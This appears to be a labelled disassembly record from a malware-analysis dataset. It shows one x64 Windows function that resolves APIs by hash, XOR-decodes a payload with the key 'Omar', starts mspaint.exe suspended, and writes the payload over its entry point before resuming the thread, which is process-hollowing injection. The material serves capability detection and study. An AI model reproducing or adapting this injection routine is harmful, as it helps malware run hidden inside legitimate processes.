Function at 0x1400112a8
Capabilities:
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
jmp 0x140012340
push rbp
push rsi
push rdi
sub rsp, 0x9c0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x19c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x968], rax
lea rcx, [0x140023409]
call fcn.1400113b1
lea rcx, str._____Starting_program_r_n
call fcn.1400111c2
mov ecx, 0x22d3b5ed
call fcn.140011091
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400123b5
lea rcx, str.____Error_retrieving_ntdll.dll_r_n
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x1400127f0
mov edx, 0x307db23
mov rcx, qword [rbp + 8]
call fcn.14001112c
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400123e4
lea rcx, str.____Error_retrieving_LdrLoadDll_address_r_n
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x1400127f0
lea rax, [rbp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, str.winhttp
mov qword [rbp + 0x78], rax
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov word [rbp + 0x48], ax
movzx eax, word [rbp + 0x48]
add eax, 2
mov word [rbp + 0x4a], ax
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x98], 0
lea r9, [rbp + 0x98]
lea r8, [rbp + 0x48]
xor edx, edx
xor ecx, ecx
call qword [rbp + 0x28]
mov dword [rbp + 0xb4], eax
cmp dword [rbp + 0xb4], 0
je 0x14001246a
mov edx, dword [rbp + 0xb4]
lea rcx, str.____Error_retrieving_winhttp_library_:__x_r_n
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x1400127f0
mov rdx, qword [rbp + 0x98]
lea rcx, str.___WinHTTP_loaded__found_at__p_r_n
call fcn.1400111c2
mov qword [rbp + 0xd8], 0
mov dword [rbp + 0xf4], 0
lea r8, [rbp + 0xf4]
lea rdx, [rbp + 0xd8]
mov rcx, qword [rbp + 0x98]
call fcn.140011131
mov dword [rbp + 0x114], eax
mov byte [rbp + 0x134], 0x4f
mov byte [rbp + 0x135], 0x6d
mov byte [rbp + 0x136], 0x61
mov byte [rbp + 0x137], 0x72
mov eax, dword [rbp + 0xf4]
add eax, 1
mov eax, eax
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x158], rax
mov dword [rbp + 0x174], 0
jmp 0x14001250e
mov eax, dword [rbp + 0x174]
inc eax
mov dword [rbp + 0x174], eax
mov eax, dword [rbp + 0xf4]
cmp dword [rbp + 0x174], eax
jae 0x140012570
movsxd rax, dword [rbp + 0x174]
mov rcx, qword [rbp + 0xd8]
movzx eax, byte [rcx + rax]
mov dword [rbp + 0x964], eax
movsxd rcx, dword [rbp + 0x174]
xor edx, edx
mov rax, rcx
mov ecx, 4
div rcx
mov rax, rdx
movzx eax, byte [rbp + rax + 0x134]
mov ecx, dword [rbp + 0x964]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rbp + 0x174]
mov rdx, qword [rbp + 0x158]
mov byte [rdx + rcx], al
jmp 0x140012500
mov edx, 0xd034fc62
mov rcx, qword [rbp + 8]
call fcn.14001112c
mov qword [rbp + 0x198], rax
cmp qword [rbp + 0x198], 0
jne 0x1400125a5
lea rcx, str.____Error_retrieving_NtQueryInformationProcess_address_r_n
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x1400127f0
mov dword [rbp + 0x1b4], 0
lea rax, [rbp + 0x1d8]
lea rcx, str.mspaint.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x210]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp + 0x298]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rbp + 0x2c8]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov dword [rbp + 0x314], 0
mov dword [rbp + 0x334], 0
mov qword [rbp + 0x358], 0
mov dword [rbp + 0x374], 0
lea rax, [rbp + 0x298]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1d8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rbp + 0x1b4], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x30
lea r8, [rbp + 0x2c8]
xor edx, edx
mov rcx, qword [rbp + 0x298]
call qword [rbp + 0x198]
mov dword [rbp + 0xb4], eax
cmp dword [rbp + 0xb4], 0
je 0x1400126d1
mov edx, dword [rbp + 0xb4]
lea rcx, str.____Error_retrieving_winhttp_library_:__x_r_n
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x1400127f0
mov rax, qword [rbp + 0x2d0]
add rax, 0x10
mov qword [rbp + 0x398], rax
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rbp + 0x3b8]
mov rdx, qword [rbp + 0x398]
mov rcx, qword [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [rbp + 0x314], eax
lea rax, [rbp + 0x3e0]
mov rdi, rax
xor eax, eax
mov ecx, 0x200
rep stosb byte [rdi], al
mov qword [rsp + 0x20], 0
mov r9d, 0x200
lea r8, [rbp + 0x3e0]
mov rdx, qword [rbp + 0x3b8]
mov rcx, qword [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [rbp + 0x334], eax
lea rax, [rbp + 0x3e0]
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x5f8]
movsxd rax, dword [rax + 0x3c]
lea rax, [rbp + rax + 0x3e0]
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
mov eax, dword [rax + 0x28]
mov rcx, qword [rbp + 0x3b8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x358], rax
mov eax, dword [rbp + 0xf4]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0x158]
mov rdx, qword [rbp + 0x358]
mov rcx, qword [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x634], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x654], eax
mov rcx, qword [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [rbp + 0x374], eax
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001b1e0]
call fcn.140011348
mov rax, rdi
mov rcx, qword [rbp + 0x968]
xor rcx, rbp
call fcn.1400111db
lea rsp, [rbp + 0x970]
pop rdi
pop rsi
pop rbp
ret